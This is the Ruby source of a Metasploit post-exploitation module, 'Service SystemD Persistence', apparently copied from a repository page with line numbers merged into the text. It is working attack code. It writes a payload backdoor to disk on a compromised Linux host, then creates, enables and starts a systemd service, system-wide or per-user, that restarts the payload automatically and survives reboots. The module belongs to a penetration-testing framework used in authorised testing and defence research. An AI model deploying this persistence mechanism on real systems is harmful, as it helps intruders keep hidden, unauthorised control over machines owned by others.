Path: blob/master/modules/exploits/linux/persistence/init_systemd.rb
31203 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Unix10include Msf::Exploit::FileDropper11include Msf::Exploit::EXE # for generate_payload_exe12include Msf::Post::Linux::User # get_home_dir13include Msf::Exploit::Local::Persistence14prepend Msf::Exploit::Remote::AutoCheck15include Msf::Exploit::Deprecated16moved_from 'exploits/linux/local/service_persistence'1718def initialize(info = {})19super(20update_info(21info,22'Name' => 'Service SystemD Persistence',23'Description' => %q{24This module will create a service on the box, and mark it for auto-restart.25We need enough access to write service files and potentially restart services26Targets:27CentOS 728Debian >= 7, <=829Fedora >= 1530Ubuntu >= 15.0431Verified on Ubuntu 18.04.332},33'License' => MSF_LICENSE,34'Author' => [35'h00die <[email protected]>',36],37'Platform' => ['unix', 'linux'],38'Privileged' => true,39'Targets' => [40['systemd', {}],41[42'systemd user',43{44'Author' => 'Cale Black'45}46]47],48'DefaultTarget' => 0,49'Arch' => [50ARCH_CMD,51ARCH_X86,52ARCH_X64,53ARCH_ARMLE,54ARCH_AARCH64,55ARCH_PPC,56ARCH_MIPSLE,57ARCH_MIPSBE58],59'References' => [60['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],61['URL', 'https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/'],62['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],63['ATT&CK', Mitre::Attack::Technique::T1543_002_SYSTEMD_SERVICE]64],65'SessionTypes' => ['shell', 'meterpreter'],66'Notes' => {67'Stability' => [CRASH_SAFE],68'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],69'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]70},71'DisclosureDate' => '2010-03-30' # systemd release date72)73)7475register_options(76[77OptString.new('PAYLOAD_NAME', [false, 'Name of shell file to write']),78OptString.new('SERVICE', [false, 'Name of service to create']),79OptString.new('USER', [ false, 'User to target, or current user if blank', '' ], conditions: ['Targets', '==', 'systemd user']),80]81)82register_advanced_options(83[84OptBool.new('EnableService', [true, 'Enable the service', true])85]86)87end8889def check90print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')91print_warning('User doesnt have root permissions, yet target set to systemd, likely need to change target to systemd user.') if target.name == 'systemd' && !is_root?92return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)93return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)94return CheckCode::Safe('Likely not a systemd based system') unless command_exists?('systemctl')9596CheckCode::Appears("#{writable_dir} is writable and system is systemd based")97end9899def target_user100return datastore['USER'] unless datastore['USER'].blank?101102whoami103end104105def install_persistence106print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')107backdoor = write_shell(writable_dir)108109path = backdoor.split('/')[0...-1].join('/')110file = backdoor.split('/')[-1]111case target.name112when 'systemd'113systemd(path, file)114when 'systemd user'115systemd_user(path, file)116end117end118119def write_shell(path)120file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)121backdoor = "#{path}/#{file_name}"122vprint_status("Writing backdoor to #{backdoor}")123if payload.arch.first == 'cmd'124write_file(backdoor, payload.encoded)125chmod(backdoor, 0o755)126else127upload_and_chmodx backdoor, generate_payload_exe128end129@clean_up_rc << "rm #{backdoor}\n"130131fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor)132133backdoor134end135136def service_file(exec, target = 'multi-user.target')137<<~EOF138[Unit]139Description=Start daemon at boot time140After=141Requires=142[Service]143RestartSec=10s144Restart=always145TimeoutStartSec=5146RemainAfterExit=yes147ExecStart=#{exec}148[Install]149WantedBy=#{target}150EOF151end152153def systemd(backdoor_path, backdoor_file)154if payload.arch.first == 'cmd'155script = service_file("/bin/sh #{backdoor_path}/#{backdoor_file}")156else157script = service_file("#{backdoor_path}/#{backdoor_file}")158end159160service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)161service_name = "/lib/systemd/system/#{service_filename}.service"162vprint_status("Writing service: #{service_name}")163write_file(service_name, script)164165fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)166167@clean_up_rc << "rm #{service_name}\n"168if datastore['EnableService']169vprint_status('Enabling service')170cmd_exec("systemctl enable #{service_filename}.service")171end172vprint_status('Starting service')173cmd_exec("systemctl start #{service_filename}.service")174end175176def systemd_user(backdoor_path, backdoor_file)177if payload.arch.first == 'cmd'178script = service_file("/bin/sh #{backdoor_path}/#{backdoor_file}", 'default.target')179else180script = service_file("#{backdoor_path}/#{backdoor_file}", 'default.target')181end182service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)183184user = target_user185home = get_home_dir(user)186vprint_status('Creating user service directory')187cmd_exec("mkdir -p #{home}/.config/systemd/user")188189service_name = "#{home}/.config/systemd/user/#{service_filename}.service"190vprint_status("Writing service: #{service_name}")191192write_file(service_name, script)193@clean_up_rc << "rm #{service_name}\n"194195if !file_exist?(service_name)196print_error('File not written, check permissions. Attempting secondary location')197vprint_status('Creating user secondary service directory')198cmd_exec("mkdir -p #{home}/.local/share/systemd/user")199200service_name = "#{home}/.local/share/systemd/user/#{service_filename}.service"201vprint_status("Writing .local service: #{service_name}")202write_file(service_name, script)203fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)204@clean_up_rc << "rm #{service_name}\n"205end206207# This was taken from pam_systemd(8)208systemd_socket_id = cmd_exec('id -u')209systemd_socket_dir = "/run/user/#{systemd_socket_id}"210vprint_status('Reloading manager configuration')211cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user daemon-reload")212213if datastore['EnableService']214vprint_status('Enabling service')215cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user enable #{service_filename}.service")216end217218vprint_status("Starting service: #{service_filename}")219# Prefer restart over start, as it will execute already existing service files220cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user restart #{service_filename}")221end222end223224225